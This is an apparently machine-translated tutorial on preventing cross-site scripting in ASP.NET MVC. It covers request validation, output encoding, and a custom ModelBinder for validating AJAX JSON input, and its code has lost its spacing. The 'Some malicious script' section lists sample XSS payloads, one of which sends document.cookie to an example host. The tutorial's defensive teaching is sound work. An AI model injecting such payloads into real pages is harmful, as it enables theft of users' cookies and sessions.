Web security Related (i): cross-site scripting attacks (XSS)

Source: Internet
Author: User

Introduction to cross Site scripting attacks (Scripting), which is not confused with the abbreviations of cascading style sheets (cascading style Sheets, CSS), is abbreviated as XSS for cross-site scripting attacks. A malicious attacker inserts malicious script code into a Web page, and when the user browses to the page, the script code embedded within the Web is executed to achieve the special purpose of the malicious attacker, such as obtaining a user's cookie, navigating to a malicious website, carrying a trojan, etc. Some scenarios

1. A malicious attacker could insert malicious code into a personal introduction, and malicious code would be executed when other users visited his personal information.

2. A malicious attacker could post an article, take an eye-catching title, insert malicious code into the content, and execute malicious code when the user viewed the article.

3. Malicious attackers insert malicious code into a reply or message in some popular articles or posts, and the user browses to his reply or message and executes malicious code.

Two stages of preventing XSS

1. When data is submitted, the data is validated, and if a malicious script is included, the data is not in the library, and ASP. NET MVC defaults to do this validation. For example, if you try to insert a malicious script, you get a httprequestvalidationexception. Note: Figure 2 The methods in the red box are mentioned later.


Figure 1

Figure 2

If we need to allow the script to be put into storage, we can add [ValidateInput (false)] to the corresponding action. At this point, the malicious script does not pose a threat, because there is a prevention step in the back.


Figure 3

Figure 4

2. When outputting data, the content of the output is HTML-encoded and the malicious script is not executed. Moreover, MVC's Razor syntax is HTML-encoded by default. But if we use Html.raw () to output content, a malicious script can pose a threat.


Figure 5

Figure 6

Some malicious script 1.  Simple pop-up window or content display. <script>alert (' You've been hacked! ') </script> 2. Navigate to a malicious Web site.    Note: Here just use Baidu website as navigation demonstration, not to say Baidu website is malicious website.  <script>window.location.href= ' http://www.baidu.com ';</script> 3.  Access to cookies. <script>alert (document.cookie) </script> <script>window.location.href= ' http://www.example.com? Cookies=document.cookie ';</script> $.ajax data validation expired?

We assume that our requirement is not to allow data to be entered into the library containing malicious script, but we use jquey Ajax for interaction.


Figure 7

Figure 8

Figure 9


Figure 10

Data or into the library, why? Let's look at the methods in the 2 red box.

Figure 11

Figure 12

From Figure 12, I guess MVC will validate the above content in the request, but jquery Ajax data is in the content of the request, so the default validation has no effect on jquery Ajax.

$.ajax Data Validation Implementation

To verify the data of $.ajax, I start with Modelbinder. The specific code is as follows:

     Public classAjaxmodelbinder:defaultmodelbinder {protected Override BOOLOnpropertyvalidating (ControllerContext controllercontext, Modelbindingcontext BindingContext, PropertyDescriptor PropertyDescriptor,Objectvalue) {            varContentType =ControllerContext.HttpContext.Request.ContentType; if(Contenttype.equals ("Application/json", StringComparison.OrdinalIgnoreCase) &&value is string&&controllerContext.Controller.ValidateRequest&&Bindingcontext.propertymetadata[propertydescriptor.name]. requestvalidationenabled) {if(isdangerousstring (value. ToString ())) {Throw NewHttpRequestValidationException ("a potentially dangerous value was detected in the request! "); }            }            return Base.        Onpropertyvalidating (ControllerContext, BindingContext, PropertyDescriptor, value); }        /// <summary>        ///Refer The method "System.Web.CrossSiteScriptingValidation.IsDangerousString". /// </summary>        Private Static BOOLIsdangerousstring (stringstr) {            varStartingchars =New[] {'<','&' }; varStartIndex =0;  while(true)            {                varindex =Str.                IndexOfAny (Startingchars, StartIndex); if(Index <0)                {                    return false; }                if(Index = = (str. Length-1))                {                    return false; }                varCH =Str[index]; if(ch! ='&')                {                    if(ch = ='<') && (Isatoz (Str[index +1]) || (Str[index +1] =='!')) || ((Str[index +1] =='/') || (Str[index +1] =='?'))))                    {                        return true; }                }                Else if(Str[index +1] =='#')                {                    return true; } StartIndex= index +1; }        }        Private Static BOOLIsatoz (Charc) {return(((C >='a') && (c <='Z')) || (c >='A') && (c <='Z'))); }    }
View Code

Then register the Ajaxmodelbinder in the Global.asax.cs.


Figure 13

Then, the input data will be detected when there is a malicious script.

Figure 14

About the Isdangerousstring method in Ajaxmodelbinder, I was from. NET copy of the source code.


Figure 15

In addition, if you need to encode the JS display, you can use the Ajax.javascriptstringencode () method.

ANTIXSS third-party components

If you use. Net4.0 and above, there is no need to introduce ANTIXSS because. Net 4.0 is already integrated into the ANTIXSS. If it is a different version, it needs to be introduced.

XSS Scan Detection Tool

My previous company had a dedicated test team that used tools to scan the program to find risky pages and give advice. Now want to understand the following tools, if you have a good understanding of this area of friends, welcome to my recommended tools.

SOURCE download

For ease of use, I did not use any database, but instead used a file to store the data. The code can be downloaded and run directly without configuration.

: Https://github.com/ErikXu/XSS


Web security Related (i): cross-site scripting attacks (XSS)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.